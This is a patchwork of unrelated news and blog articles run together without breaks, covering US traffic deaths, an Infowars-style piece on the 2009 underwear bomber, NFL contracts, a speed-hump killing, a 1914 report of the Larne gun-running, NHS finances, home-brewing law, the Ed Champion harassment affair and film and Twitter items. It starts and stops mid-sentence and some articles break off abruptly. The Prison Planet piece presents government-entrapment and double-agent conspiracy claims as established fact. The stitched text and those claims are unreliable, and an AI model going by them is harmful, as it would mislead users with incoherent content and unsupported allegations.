capable of stopping it is unmerited trust.” Anybody else feel like turning off all of their devices right now, or…just me? Photo: Flickr user Thomas SalazarIf you find statistics abstract, you can instead read the heart-rending stories. Erin Kaplan, a 39-year-old mother in Ashburn, Va., was killed in a September crash that also seriously injured her three teenage children. They and their father are now heroically trying to put their lives back together, as The Washington Post has detailed. Had the United States kept pace with the rest of the world, about 10,000 fewer Americans each year — or almost 30 every day — would be killed. Instead, more people die in crashes than from gun violence. Many of the victims, like Erin Kaplan, were young and healthy. I was unaware of this country’s newfound outlier status until I recently started reporting on the rise of driverless cars. I’ve become convinced they represent one of the biggest changes in day-to-day life that most of us will experience. Within a decade, car travel will be fundamentally altered. “This is every bit as big a change as when the first car came off the assembly line,” Senator Gary Peters of Michigan told me. Many people remain afraid of driverless cars, because trusting your life to a computer — allowing it to hurtle you down a highway — can feel a little crazy. But the status quo is crazier, and the rest of the world refuses to accept it. We don’t need to wait for the arrival of futuristic self-driving machines to do better. Other countries have systematically analyzed the main causes of crashes and then gone after them, one by one. Canada started a national campaign in 1996.Reversal means identity of “well-dressed man” will remain unknown Paul Joseph Watson Prison Planet.com Wednesday, October 12, 2011 After initially vowing to plead innocent and call Kurt Haskell, the man who saw him being aided onto Delta Flight 253 by a well dressed man, as a defense witness, alleged underwear bomber Umar Farouk Abdulmutallab has changed his mind and admitted all eight charges against him, thereby protecting accomplices involved in the plot. “Umar Farouk AbdulMutallab, the Nigerian man accused of trying to detonate an explosive device in his underwear aboard a Christmas 2009 flight to Detroit, pleaded guilty to all counts in court Wednesday. AbdulMutallab had previously pleaded not guilty to the charges,” reports CNN. In the space of a few days, Abdulmutallab completely reversed his decision to defend himself, and made no proper statement in court, instead simply reeling off a list of cliched extremist statements. Abdulmutallab’s reversal now means that Detroit Attorney Kurt Haskell’s contention that the plot was, as in almost every other terror case made public, a product of government entrapment, and that the US intelligence establishment was involved in the aborted attack, will now remain buried, at least for the time being. Haskell was an eyewitness to the fact that Abdulmutallab was helped through security, despite him being on a terror watchlist with no passport, by a well dressed Indian man, on Christmas Day 2009. It later emerged that the State Department was ordered not to revoke Abdulmutallab’s visa by “federal counterterrorism officials” even though the accused bomber had known terrorist ties, in addition to the fact that his own father had warned U.S. intelligence officials of the threat posed by Abdulmutallab a month before the attempted attack. A d v e r t i s e m e n t Appearing on the Alex Jones Show earleir this week, Haskell said he thought Abdulmutallab was being “coached” on how to behave, which would explain his court outbursts that Haskell maintained were completely out of character. Having decided to plead not guilty, act as his own defense, and call as a witness the one man who could identify the intelligence agents who used him as a dupe to carry out the attack, Abdulmutallab’s sudden change of heart clearly suggests that he has been threatened or offered a deal so as to protect the true culprits behind the plot. Abdulmutallab’s change of mind also serves to protect the myth behind his handler, Anwar al-Awlaki, who as we have documented was clearly a double agent posing as an Al-Qaeda leader while doing the bidding of the US intelligence community. Abdulmutallab’s admission of guilt will now be hastily exploited by the Obama administration to push its fearmongering agenda to turn America into a Stasi-style police state, with the Department of Homeland Security’s “See Something, Say Something” campaign, training citizens to report each other as terrorists, now in full swing across the country. The guilty plea also ensures that the sanctity of the TSA’s grope down procedures and the multi-billion dollar naked body scanner industry, launched on the back of the foiled plot by government-affiliated insiders now reaping the financial whirlwind, will escape scrutiny. ********************* Paul Joseph Watson is the editor and writer for Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a regular fill-in host for The Alex Jones Show. This article was posted: Wednesday, October 12, 2011 at 9:49 am Print this page. Infowars.com Videos: Comment on this articleAfter the franchise tag deadline came and went and the Oakland Raiders opted not to tag high priority free agents Jared Veldheer and Lamarr Houston many started to fear that the team may lose two of their best players to the open market. According to Christopher Hansen of Bleacher Report that may not be the case as an inside source has told B/R’s AFC West columnist that the team has retained their star left tackle for the next five years. Source tells me the #Raiders and Jared Veldheer have agreed to 5-year deal with 6th year option. $23 guaranteed. Total value $55M. — Christopher Hansen (@ChrisHansenNFL) March 7, 2014 Working to get confirmation from second source. I’m told he hasn’t signed yet. — Christopher Hansen (@ChrisHansenNFL) March 7, 2014 Let me reiterate that the deal hasn’t been signed yet. Could be final wrinkles to iron out. — Christopher Hansen (@ChrisHansenNFL) March 7, 2014 I believe the total value includes the 6th year for Veldheer. — Christopher Hansen (@ChrisHansenNFL) March 7, 2014 As you can see from Hansen’s tweets the pen hasn’t touched paper yet and things could potentially fall apart but it is very encouraging news that the two sides have agreed to a deal. $55 million is a lofty price tag for Veldheer if the number is true, but it is a price tag that Veldheer should be worth at market value in a couple of years if he continues to improve and stay healthy. The team saw how important Veldheer was when he missed the first 11 games of the season last year something that likely motivated Reggie McKenzie to lock up their franchise left tackle for as long as possible. The Raiders don’t have many cornerstones on their roster and while Veldheer might not deserve the “elite” tag just yet he is definitely a cornerstone piece of the Raiders roster that should be apart of the team’s identity on the offensive line for a long time.Photo courtesy Joe Lewis via FlickrStephen Carr wanted his street in suburban Burke, Va., to be safer. He lobbied to have a speed hump installed. He was successful. And it may have gotten him killed. According to the Washington Post, Carr, 48, had requested the speed hump because he was concerned about the cars zooming by his home. There was an elementary school nearby. He thought it was a safety issue — which it is. If you’re hit by a car going 20 miles per hour, you’ve got a 95 percent chance of surviving. If the driver is doing 40, your chances of survival go down to 15 percent. Some of Carr’s neighbors were pleased about the speed hump. Others drove by his house at night and honked. David Patton didn’t stop there: In June, court and police records show, Patton angrily confronted Carr about the speed hump outside Carr’s house. Patton was charged with misdemeanor assault. His trial was set for Thursday. On Sunday night, police say, Patton went further. Witnesses told police he burst into Carr’s house, tied up Carr and his girlfriend and, when Carr struggled, fatally shot him in the head, court records allege. Patton, 44, was arrested a short time later in Carr’s back yard and charged with murder. A Google map view of Field Master Drive, where Carr lived, shows a typical suburban pattern of cul-de-sacs and quiet residential streets, with a couple of major roads slicing through. Field Master Drive looks like a main route between two of those larger arterials, routes 640 and 644. It’s a development style that has been shown to increase congestion on the main roads and speeding on the few side streets that provide some connection, rather than leading to a dead end. Streets like Field Master Drive. Just last year, the state of Virginia announced it would not maintain streets in new subdivisions unless they were laid out with a design that links homes, stores, schools, and other destinations. The aim is to encourage a different style of development, one that would have fewer traffic jams, better access for emergency vehicles, and more walkable neighborhoods. It’s a concept that several communities around the country are considering, and that the New York Times Magazine included in their 2009 “Year in Ideas” issue. It does not apply retroactively, to places like the one where Stephen Carr lived and died — apparently over a traffic-calming device. (h/t Extraordinary Observations)Larne Gun-Running Report from The Belfast Evening Telegraph, April 25th, 1914 « previous page \| start of report \| next page » AMAZING NIGHT AT LARNE. WHOLESALE GUN-RUNNING. THOUSANDS OF RIFLES LANDED. THREE-AND-A-HALF MILLION CARTRIDGES. MOTORS FROM FAR AND NEAR. AN ASTOUNDING ACHIEVEMENT. (Special to “Telegraph.”) The night of Friday, 24th April, 1914, is a date which will find a permanent place on the page of history. On it there were enacted happenings for which Great Britain’s long and chequered story affords no parallel. However prosaically the record may be set down, it will send a thrill of amazement through every man and woman who reads the simple matter of fact account of what actually took place. On Friday night there were landed at Larne within a few hours 40,000 rifles and nearly three and a half million rounds of ammunition. There was no rush or bustle in the doing of it. It was accomplished with celerity, yet without fuss or splutter, because it was done in pursuance of a well-formed plan, executed as perfectly as it had been preconceived. Thousands unconsciously played a part in it, though only a few hundreds were directly and immediately concerned in the actual work, or were cognisant of what was in progress. All the arms were landed at Larne Harbour, and a vast transport of hundreds of motor cars, lorries, and waggons drawn from their various centres came to the town. So exactly had this mobilisation been arranged that these hundreds of motors reached the assembly point at an identical moment. It was an amazing sight to see this huge procession of cars nearly three miles in length descending upon the town with all their headlights ablaze. The people flocked to their doors as the seemingly endless procession filed past in the direction of the harbour. MILES OF PICKETS. Meanwhile strange events were happening on all the highways leading to the town. Members of the Ulster Volunteer Force had been notified that they were immediately to repair to stated points to discharge such duties as might there be allotted to them. A like order had been issued to the local companies stretching from Larne away to the north, to the west and to the south. The result was that by eight o’clock, right from Belfast to Larne the whole coast road was under close patrol by strong bodies of pickets posted at intervals of a few perches. The roads leading to Glenarm, Ballyclare, Ballymena, &c, were similarly manned, and everything was in readiness for beginning operations. In Belfast itself and in all the neighbouring towns every battalion of every regiment mobilised in like fashion, and the public began to dimly suspect that something stirring was afoot, though what it really was they never imagined. Very few of the public or of the Volunteers had any idea of the actual business in hand, for that secret was well kept and confined to a few. THE “MOUNTJOY” ARRIVES. In the neighbourhood of Larne Harbour and throughout the streets of the town strong bodies of men wearing armlets stood in line silent as soldiers on parade, while officers moved about and conversed in low tones. At nine o’clock the throb of an approaching steamer’s engines could be heard coming up the Lough; then masthead lights were discernible, and presently the grey, gaunt outline of the “mystery ship” took definite shape. In a few minutes she was alongside the landing stage and made fast to her moorings. A. little earlier Larne had been cut off from the outside world in so far as telegraphic or telephonic communication was concerned. At the same moment of time, ingoing and outgoing vehicular traffic was brought to a standstill, and only motors whose drivers possessed a pass indicating that they were concerned in the business on hand were allowed to pass through the strong line of pickets drawn like a ring fence around Larne. Cordons blocked the road and vehicles, for which a permit could not be produced, were politely but absolutely held up, and their detention notified to the proper quarter for further instructions. It was a bewildering experience to find one’s path barred by a score of men leaping into the glare of an advancing car’s headlights, to the accompaniment of a mandatory shout of “halt.” A few short, sharp interrogations followed, and as those held up were almost invariably sympathetic, there was prompt and implicit compliance with any request made. Cars duly fiated sped through and took their places in the line that ultimately swung into the dock yard to receive their consignments, and speed off into the silence and blackness of the night. SOME STRENUOUS WORK. The “mystery ship,” it was noticed bore on her bows the name “Mountjoy”—no doubt, readers of Derry’s history will draw their own parallel. As she came alongside the lines of men in waiting on shore were divided up, part being assigned to sentry duty at the gate approaches; while others were quickly aboard. No one was permitted to enter the gates upon any pretext unless engaged in the task that was being tackled. Hardly had the hatches been removed before bands of great sturdy fellows stripped to their shirts and pants plunged into the vitals of the ship to join the crew in getting her cargo ashore. The rifles had been carefully packed, five to each case, with ammunition and bayonets to suit, and the chains sang in the runners as they shot down into the hold to reappear in a few seconds embracing weighty parcels of rifles and ammunition. Volunteer clerks checked those oft one by one with amazing rapidity, and as fast as packages were checked they were seized by strong hands and dumped into the cars—the load of one large lorry numbered 700 rifles. As each car received its complement, the driver accelerated his engine, let in his clutch, and slipped away in a cloud of smoke; while another moved into the vacant space and thus the work went on hour after hour without a pause. Simultaneously transhipment was being carried on. The “Mountjoy” was only a few minutes berthed when another ship crept into the circle of the harbour lights and took up position alongside the floating arsenal. The cranes whirred and buzzed as they swung thousands of rifles over the side to the newcomer, which later on slipped swiftly and silently away to her appointed destination, and her position was taken up by a third, which was expeditiously loaded and despatched in the same fashion. Meantime the line of cars steadily melted down, and some were already well on their homeward journey. Such as had shorter distances to cover returned and made other trips, and so the work went on at express speed and without rest or pause. As one batch of perspiring stevedores tired a fresh batch relieved them. All “put their backs into it” in a way that well illustrated the old adage, “One Volunteer is worth three pressed men.” They toiled like galley slaves. NO SLEEP FOR LARNE. In the town itself hardly a single person went to sleep. The town lamps, save those at corners, are always extinguished, but on Friday night every lamp blazed until daylight, and many a hearty good wish was: shouted to cars heading for the open road. Nearly every house had its windows alight, and the women and children lined the footpaths, exchanging salutations with neighbours, and proud of the fact that husbands or brothers were lending their best aid* to complete the business of the night. The race against time prospered, and just as the first faint streaks of the coming dawn crept over the horizon the last band of tired, but well-pleased, “stevedores” came ashore, leaving the “Mountjoy” empty. Her moorings were cast off, and in ten minutes she had passed into the melting shadows. It was an amazing piece of work, perfectly executed. The frank boldness of it leaves one almost breathless. There was no vacillation or timidity about it. Every man engaged knew perfectly well what he was about. The hazards simply mattered less than nothing. The plans seemed to have been contrived so as to prevent or to checkmate interference if it had been attempted. The very boldness of the scheme contributed to its success, and everything worked out with perfect smoothness. AUTHORITIES POWERLESS. The authorities might as well have been in Timbuctoo in so far as knowledge or interference was concerned. The local forces, in any case, would have had no more effect in dealing with the situation than so many flies. They probably realised in the course of the night that some very big scheme was in full swing, for the whole town knew it by midnight, but it was impossible to do anything for the reasons already mentioned. The Excise officers were equally helpless. Some of them, it is stated, were in fact enjoying a performance of amateur theatricals when word was brought to them that the proclamation against the importation of arms, the enforcement of which is their business, was being violated wholesale. It is stated that some of them did make an effort to reach the harbour, but they quickly realised that they were “up against it,” and it is alleged, in obedience to a pointed, suggestion, refrained from an attempt at the utterly impossible. Police and Excisemen combined would have been at most a couple of dozen men against an army. As the “Mountjoy” drew away from Larne Harbour her skipper and crew stood to attention, and made the welkin ring with three lusty cheers for “The King” and three more for “The Volunteers,” which were heartily responded to by those on ashore. « previous page \| start of report \| next page »INDIANAPOLIS -- Dallas Cowboys coach Jason Garrett is entering the final year of his coaching contract. It doesn't sound like owner Jerry Jones is overly concerned about it. "(Garrett) has a high tolerance for ambiguity," Jones told reporters. Jones held court with local reporters for two and a half hours Sunday on the Cowboys' official team bus here in Indianapolis. (That preceding sentence says so much.) Because Jones touched on so many interesting topics, especially concerning new offensive coordinator Scott Linehan, let's break this down "What we learned" style. 1. "(Tony) Romo will have more power under Linehan," Jones said via the Fort Worth Star-Telegram. "Romo was ecstatic about Linehan... They will be joined at the hip." More power for Romo and Linehan means less power for Garrett. Linehan will truly run the show on offense with Garrett having far less say. Jones revealed that Garrett was essentially the offensive coordinator last season, even though Bill Callahan had the title. Garrett even called the plays, especially in the red zone, despite the Cowboys' constant public statements that Garrett was giving up play-calling. That became a problem for Callahan. Now Linehan will have final say on the offense. Garrett will focus more on the defense, special teams and all the other responsibilities of a head coach. It seems like Garrett's role changes every season. 2. Jones indicated he was comfortable with Garrett entering the year as a lame-duck coach. If the team starts slow, the chatter about Garrett's hot seat will be massive. "The plan for him is to be coach of the Dallas Cowboys long term, certainly beyond this year," Jones said via the San Antonio Express-News. Money talks. Without a new contract, Garrett is clearly in a win-or-else year. 3. The Cowboys are "assuming" backup quarterback Kyle Orton will play next season despite some rumors about possible retirement. 4. Jones can't "fathom" a Cowboys defense without DeMarcus Ware. So his spot on the team should be safe, as expected. Still, Jones pointed out that the highest-paid player on the defense needs to be on the field more. The team hasn't approached Ware about a pay cut, at least to this point. 5. Don't assume the Cowboys are taking defense in the first round. "Don't discount a good offensive lineman that is high on your board," Jones said. The latest "Around The League Podcast" taped live from the NFL Scouting Combine with all the latest free agency and draft news.The liberties taken by films purporting to retell real-life stories vary enormously, a new study has found. The data-based site Information is Beautiful looked at 14 key fact-based Oscar contenders since the turn of the decade, examining the veracity of each scene. Is Selma historically accurate? Read more They found that while every single incident in Selma, Ava DuVernay’s “painstaking” biopic of civil rights leader Martin Luther King, seemed sound, other similar films fell short. However, the study does not
contemplating handing back up to half of their local authority business unless rates paid increase before next April.” NHS England says the service faces a £30bn annual shortfall by 2021 unless radical changes are made in how healthcare is provided, with more emphasis on keeping people out of hospital through high care at home and in the community. Sir David Nicholson, NHS chief executive until April 2014, said Lamb was overstating the extent of the problems, while accepting that the situation was serious: “On Norman’s warning of a crash I don’t buy it, and while you will undoubtedly get parts of the country in distress I would describe the approach as ‘managed decline’. It’s worth pointing out though that even with the £8bn front loaded it only takes the NHS to the 2005 [level of funding relative to GDP] position.” Dr Mark Porter, chair of the British Medical Association said: “We need policymakers to be honest with the public and start working with patients and healthcare professionals on a long-term plan.” Hunt and NHS England chief executive Simon Stevens have recently revealed key differences of opinion over exactly how much extra money the service needs. Since the election Hunt has insisted that the £8bn is enough, and publicly demanded rapid progress on delivering the matching £22bn of efficiency savings Stevens has promised. However, this month he used NHS England’s annual conference to highlight that the £8bn depended on two things – improved social care provision and progress in tackling public health problems – neither of which experts say has happened. Questioned by the Commons health select committee last week, Hunt admitted that a further deterioration in social care services would intensify the pressures on the NHS. Stevens and senior colleagues believe the gap in NHS finances will become even wider than £30bn unless the decline in social care help for older people and the disabled is arrested. Hunt hinted that November’s comprehensive spending review might bring some extra resources for it. A Department of Health spokesperson said: “We are investing the additional £8bn that the NHS itself has said it needs to implement its own plan for the future. The NHS must deliver its side of the plan by implementing cost-control initiatives the government has brought forward, like clamping down on staffing agencies and expensive management consultants. “We’re already bringing the NHS and councils together, which is helping people to live independently at home and saving money in the long term.”Good question, says NRO’s Kevin Williamson to Reason TV’s Nick Gillespie in this interview. People tend to confuse regulatory states with socialism, and vice versa. Williamson has just published The Politically Incorrect Guide to Socialism, and Gillespie walks him through a few of the commonly-thought examples of American socialism. ObamaCare? In theory no, but in practice, yes. Public schools? You bet; government owns the means of production. How about Sweden, an example hailed and reviled on the Right and Left, depending on the argument? You’ll be surprised at Williamson’s answer: What’s the real definition of socialism? How is it distinct from regulation and a social welfare state? Why are intellectuals still enamored of a system that brought us Stalin, Hitler, and more recently Hugo Chavez and Kim Jong-Il? And what can the United States learn from Sweden about free enterprise and capitalism? It can learn that the socialist model fails even where people have largely supported it. As Williamson notes, the Swedes have been moving towards free-market capitalism over the past several years, thanks to the dysfunction that socialism creates. It’s a good interview, and the book looks like a fun read. In fact, maybe the people running General Motors should buy a few copies for themselves: In late 2010, General Motors agreed to sponsor a propaganda film celebrating the 90th anniversary of the Chinese Communist Party (CCP). The CCP made film titled (translated to English) “The Birth of a Party” or “The Great Achievement of Founding the Party” is set to premiere all over the Communist nation on June 15 reported China AutoWeb last September. The auto website adds: “As the CCP marries totalitarianism with capitalism and fools the people with entertainment, only the “politically correct” or stupid–or those who pretend to be so–can get rich. And GM seems to know this very well. While Audi, Mercedes-Benz, BMW, and Volvo have all rushed to please China’s rich and powerful through physical enlargement (offering models of extended wheelbases), Cadillac gratifies the party orally, singing praises through a film.” According to the above report, the film will discuss events that led up to the formation of the CCP following the 1917 Russian Revolution. When the movie first went into production GM signed up Cadillac as the “chief business partner” with the Communist Party, stating: “Cadillac whole-heartedly supports the making of the Birth of a Party.” Or maybe they just like the business model:next Image 1 of 3 prev next Image 2 of 3 prev Image 3 of 3 About the only thing Kevin Flynn enjoys more than drinking his home-brewed beer is sharing it with fellow beer club members at festivals and tasting competitions. So Flynn and his buddies were shocked to discover that Wisconsin law prohibits sharing homemade suds anywhere outside the brewer's home. The law could "pretty much be the end of competitions in Wisconsin," he lamented. "At least legal ones." An explosion of interest in home brewing is forcing lawmakers across the country to review long-forgotten alcohol laws, some of which date back to Prohibition. Although the old rules have rarely been enforced, beer enthusiasts fear they could criminalize the rapidly growing hobby and kill scores of annual tasting events that bring tourists to small towns and cities. In Wisconsin, Flynn and other home brewers may soon be off the hook. The state Legislature last week passed a bill to allow them to transport homemade beer and wine and to share it with other adults. Brewers will still not be permitted to sell anything they make, and they will remain exempt from permit requirements and taxes. The proposal now heads to Gov. Scott Walker, who plans to sign it into law. At least 17 states have ambiguous laws on whether home brewers can transport beer or wine outside the home, according to the American Homebrewers Association in Boulder, Colo. The patchwork of rules can be frustrating for hobbyists who would prefer to spend their time exchanging recipes for pale ale or rhapsodizing about different varieties of hops, barley and yeast. Some states — including Georgia and South Carolina — have restrictions similar to Wisconsin's. In Kansas and Minnesota, home brewers can only make beverages for themselves or family members. Other states permit homemade beer and wine to be consumed by guests, too, as in Arizona, Hawaii, Idaho and Illinois. A few states have been slow to accommodate the trend. Utah just legalized home brewing in 2009, and Oklahoma followed in 2010. Mississippi and Alabama are the only states that still forbid it. Dan Grady of the Wisconsin Homebrewers Alliance, who led the legislative effort to revise Wisconsin's law, said beer-makers need to be watchful in case states try to use the issue to generate money for their tight budgets. "States are under enormous pressure. It's a revenue issue," he said. "Everything is on the table these days." Gary Glass, director of the home brewers association, said it's a balancing act when considering whether to pursue a change in the law. "The question becomes, at what point does a home brewing community want to take on having the law changed if it's not really having an impact to what they're doing?" Glass, who organizes the group's popular national conference, said he's had trouble securing a venue in states with vague home brewing laws. The conference, which changes its location annually, brings in $500,000 to local economies. A grassroots reform effort succeeded last year in Oregon, where the law had been similar to Wisconsin's. Glass, who helped draft Wisconsin's bill, said the legislation's demise would have set a bad precedent for home brewing. "In this economy, you're stifling an industry that's growing," he said. "It sounds like a bad move." More than ever, people with little or no experience brewing beer or other fermented beverages are investing in kits and ingredients to make their own. The hobby has expanded into a vibrant beer culture, with brewers freely sharing their concoctions among neighbors and friends and in clubs and competitions. Last year, there were 411 beer competitions sanctioned by the home brewers association and the Beer Judge Certification Program. That's up from fewer than 100 in the early 1990s. "Back in the day, everybody thought home brewing would just be what your grandfather would do," said Jason Heindel, president of the Beer Barons of Milwaukee Cooperative. Home brewing has also helped invigorate the booming craft brewing industry. And it's generated a cottage industry of its own. An annual survey of brewing supply shops around the country showed an increase in sales for beginner brewing kits, according to the home brewing association. Home brewing was illegal in the United States until 1978, when the federal government lifted Prohibition-era restrictions on making alcohol in the home. The revised law allowed homemade beer and wine to be offered at tasting competitions but also left most alcohol regulations up to individual states. So many states have their own home-brewing rules that supersede federal policies. In Wisconsin last year, brewers were caught off guard when the state Department of Revenue ruled that it was illegal for home brewers to share beer outside the home. The decision came after Racine officials inquired about a contest known as the Schooner Home Brew Competition. After the department's announcement, organizers quietly moved the contest, one of the state's largest, from Racine to nearby Union Grove. But they didn't advertise it because they feared possible fines. Grady said home brewers in other states can learn from Wisconsin. "Home brewers need to look at their state law, because they might be just as ambiguous as Wisconsin," he said. "And if there's ambiguity, they need to contact their lawmakers to get them clarified, much like we're doing here."Why Publishing Put(s) Up With Ed Champion A central fact about Ed Champion, the book blogger-turned-pariah, is that he lacked power within the publishing industry. He had access to writers, and over the course of nine years interviewed hundreds of them, and he got invited to parties, but his influence remained on the margins—among people who, like him, lived and breathed literature—it never bled into the mainstream. As Champion tweeted in June, “No money, no job, no gigs, no agent (a MS out with three).” It’s worth remembering this, in light of the incident that has probably ended his career. Before Ed Champion threatened Porochista Khakpour—he promised to release on Twitter the name of the man who had taken a nude photograph of her—and became “the most hated man in books,” he couldn’t monetize his life’s work. I mention this, not to elicit sympathy for Champion, but to point out why, at least for me, the decision of editors, publicists, publishers and writers to tolerate him for so long was so vexing. It’s especially bewildering, given that the Khakpour affair was hardly the first one could characterize as abusive, or at least deeply creepy. As Laura Miller recounted on Tuesday: …former Salon film critic Matt Zoller Seitz has written that Champion “threatened to put out a cigar in my mouth after I confronted him over his silly preening.” New York magazine writer Boris Kachka received a voice mail in which Champion threatened to punch him in the face for commenting on his blog. Later, Champion would characterize this message as “performance art.” The writer and blogger Ron Hogan has tweeted that Champion “threatened to assault me at a book party.” Other targets were hounded more than menaced. The critic and editor John Freeman, who went to high school with Champion, was the subject of several strange autobiographical blog posts. Champion began to email Freeman as well, and for a period Champion turned up whenever Freeman spoke at a literary event, “taking my photograph and blogging about my appearance and other stuff like that. Even as early as 2006, TIME’s Lev Grossman was compelled to highlight the frequent antagonism of the man “unswervingly committed to the position that I am a complete tool.” Emily Gould, about whom Champion wrote several months ago, has her own theory about the blogger’s persistence. She was a recent recipient of Champion’s ire; the subject of an 11,000-word essay that is, more or less, a takedown of Gould and her mostly young, mostly female contemporaries (Champion proudly calls them “middling millennials,” a coinage which hasn’t caught on). There’s a vein of literary criticism running through it, but lines such as “when a minx’s head is so deeply deposited up her own slimy passage, it’s often hard to see the sunshine,” as well as the half-dozen photos of Gould which dot the piece, give away the game. The target was as much the person as the work. “I think the latent, underlying sexism of the book industry is maybe somewhat to blame,” Gould said. But it’s also a matter of politics and diplomacy. “Publishing is a really small world. People are really loath to burn a bridge or alienate anyone because you don’t know how things are going to shake out and who might be instrumental in helping a book of yours break out.” I find this explanation most persuasive. A novelist who’d been interviewed by Champion said something similar when I asked why he’d appeared on the podcast. ”Publicizing a book is hard, you’re grateful for anyone who seems to care, so there’s some automatic warmth for someone who has read the book,” he emailed. Sad but true. Ed Champion’s longevity as a book blogger is quite likely owed to the weakened state of the publishing industry. As Miller put it: It has become notoriously hard to win press attention for new books. When not pursuing some irrational vendetta, Champion has been willing to devote coverage to debut authors and some commercial novelists, like Jennifer Weiner, who have not been treated seriously elsewhere. … Champion isn’t the only blogger to do such things, but because he has been at it from the very beginning of the blogging boom, he has a larger audience than some. (As an aside: Miller, in her piece, takes a “don’t feed the trolls” stance with Champion. That’s nice that it worked for her, but Emily Gould provides a nice counterpoint for the efficacy of such a tactic.) The audience isn’t even that large. Indeed, Khakpour, who had been friends with Champion, confirmed that neither of her appearances on the show resulted in a sales bump. But she has no regrets. She went on the show for the same reason the industry stood by him. “He was actually good at what he did,” she said. “He was a very good reader and he would take authors seriously when a lot of other people wouldn’t. So the best interviews that I still have to date—in audio form certainly—are from Ed Champion. Nobody’s read the work the way he has.” She offered a horror story: In May, Khakpour was interviewed by a magazine. The reporter hadn’t read her book. When she asked if he’d like to reschedule, he replied, “It’s cool. I’ll Google you,” and asked that she write her own quotes. Writers who want to sell books routinely put up with such nonsense, so one imagines Champion’s literacy and inquisitiveness was, for many, sufficient. Others were not so eager to talk to Champion. Joanna Rakoff, who appeared on the show in June, did so unwillingly. On Facebook, she wrote, “I had a couple of awful incidents with him, and asked not to do his (awful) show this time around.” Her publicist told her, “We don’t want to make him angry, as he might go crazy and smear you.” That concern was a two-way street. “I have feared that he would harass/embarrass my author if I said no (or continued to say no) to his interview requests,” tweeted a Bloomsbury publicist. I assume that fear was real, given the lack of discernible commercial incentive for a writer to appear. When I asked Kathleen Schmidt, publicity director for Weinstein Books, why Champion hadn’t been blackballed, she replied, “It’s interesting to me that he is even a big enough deal to blackball.” Another theory concerns Sarah Weinman. She’s the news editor of Publisher’s Lunch, an important industry newsletter that highlights book deals and sales. She also is, or was, Champion’s girlfriend of nine years and is seen as his protector and reason he has not, until now, been written off. Although this theory sets off my sexism alarm bells, and I’ve yet to be persuaded that she holds real power, I’m not quite willing to write it off. Certainly, others—all of whom are far more knowledgeable of the industry than myself—don’t dismiss it. “You can’t tell the full story of Ed Champion’s abuse and intimidation without discussing how Sarah Weinman enabled & abetted it,” tweeted Ron Hogan. This isn’t without merit; she’s a “contributing editor” to Champion’s site and, in the wake of the Emily Gould piece, disclosed that she’d read every word prior to publication. Jacob Silverman, who’d been in a writing group with the couple, wrote to Champion—who once told Emily St. John Mandel, a writer he’d interviewed, that she ought to “swallow a glass of cyanide”—about the misogyny of the essay: I worried this would eventually happen. Ed, all of this pains me. But I hope you examine this situation and try to think critically. On one side, there is a nearly unanimous assemblage of people — among them many smart people, maybe even people you like and respect — who find this essay troubling and misogynist. On the other side is you and a few scattered supporters. Perhaps everyone is wrong and you are right. Maybe you are the last righteous man in literature. But maybe you also crossed the line this time. I hope you can consider that. Weinman replied: And of course Jacob, it never occurred to you that I might have signed off on this piece 100 percent. Or am I a card-carrying misogynistic cult member unworthy of being contacted? Have a lovely life, far away from us. In at least one case, Weinman appeared to threaten a writer. Michele Filgate was friends with Weinman and Champion, but ended the relationship in March, after the “cyanide” tweet, in an email to the couple. Replied Weinman (who, according to Filgate, was aware that Filgate was working on her first book): “That was a most interesting email. And now that the bullshit’s out of your system, let’s get to the heart of the matter: why now? I have my theories; I assume my question will be unanswered. … It’s too bad, really. And, in the end, a tactically stupid thing to do.” (Neither Weinman neither Champion replied to a request for comment.) The third and last theory: simple ignorance. Ed Champion may have been a boil, this theory goes, but he wasn’t well-known enough to lance. “There’s a lot of turnover in book publicity,” said Rachel Fershleiser, a former publicist. “A lot of book publicists are very young and they don’t necessarily hang out in the same circles as their writers. So it’s entirely plausible to me that a lot people still didn’t know.” Schmidt agreed. “Don’t get me wrong, I respected what he did,” she wrote, “but I don’t think a large % of people in book publishing actually know who he is.” Maybe so. It’s unfortunate that a lot of people are just now learning of Champion’s misdeeds at the very moment he’s set to fade from the scene. $ Donation Amount: Updating Amount... Like this article? Tip The Toast! Select Payment Method PayPal Loading... Personal Info First Name * Last Name Email Address * Donation Total: $1.00USA Today have unveiled the first images from Matt Reeves’ latest film, War for the Planet of the Apes, which picks up two years following the events of Dawn of the Planet of the Apes. Andy Serkis has talked about the journey his character Caesar has been on in the that time. “Caesar, who has had a love for human beings, is now tested beyond measure. The losses of the apes on his side drive him to a really dark place. He doesn’t know anymore where his loyalties lie. He’s in a very deeply conflicted period of his life.” The events of DOTPOTA were brutal indeed for the simian army. The traitorous Koba (played with supreme menace by Toby Kebbell) tore a hole through the fragile group of Apes, and though nothing was settled between the humans and the apes in the last film actions on both sides pushed them planet to war. Above you’ll see Andy Serkis as Caesar, Rocket (Terry Notary) and Luca (Michael Adamthwaite) getting ready for a face off against this man… Here’s the first look at Woody Harrelson as the Colonel, described as ‘a military man determined to bring down his simian enemies’. The director explained to USA Today that he is on a mission “to create a world where things can be gentle again. But the journey he takes you on is chilling…There’s also bizarrely a kind of respect [between the Colonel and Caesar] and understanding from both sides…It’s understanding the condition of the other person, what they’re having to suffer through and what they’re trying to protect.” The full trailer for the third film in the new trilogy will be online later today. War for the Planet of the Apes Movie SynopsisLast year, we took a look at the affinity for Twitter in certain quarters of the literary world. A handful of well-known authors have acquired big followings on the platform, a result not just of their name recognition but of their mastery of the tweet, as well. Readers now also turn to twitter for book news and comment from a number of sources who are active on Twitter. Our previous piece looked at the very first tweets of these now-popular practitioners. Nearly all were halting “Hello World” efforts, and none seemed likely to win over those unconverted to the various (and admittedly sometimes maddening) wonders of Twitter. So, to present literary Twitter in its best possible light, we are returning again to those most widely followed on literary Twitter, but this time, looking at which Tweets got the most favorites, we are highlighting each literary Twitterer’s best tweet. Here you’ll find much wry humor, gossip, lots of politics, Margaret Atwood flirting with a Twitter-famous comedian, and even a surprising amount of insight crammed into 140 characters. They may be enough to win over some fresh converts. (For the Twitter regulars out there, we found that tweets with more RTs tended to be more about disseminating news to fans, while tweets with more favs captured some essence of the Twitterer, so we went with the latter when compiling this list. Also, if you find tweets by these folks with more favorites than the ones we’ve listed, let us know and we’ll swap them in.) Why do people keep telling us to "get a room," @robdelaney? What's wrong with our usual dumpster out back of the #etobicoke MacDs? Cheaper! — Margaret E. Atwood (@MargaretAtwood) November 13, 2013 Every 60 seconds in Africa, a minute passes. We can put a stop to this. Please retweet. — Teju Cole (@tejucole) May 9, 2012 Fox is now like, "What if we took states that Obama has already won and gave them to Romney – how would 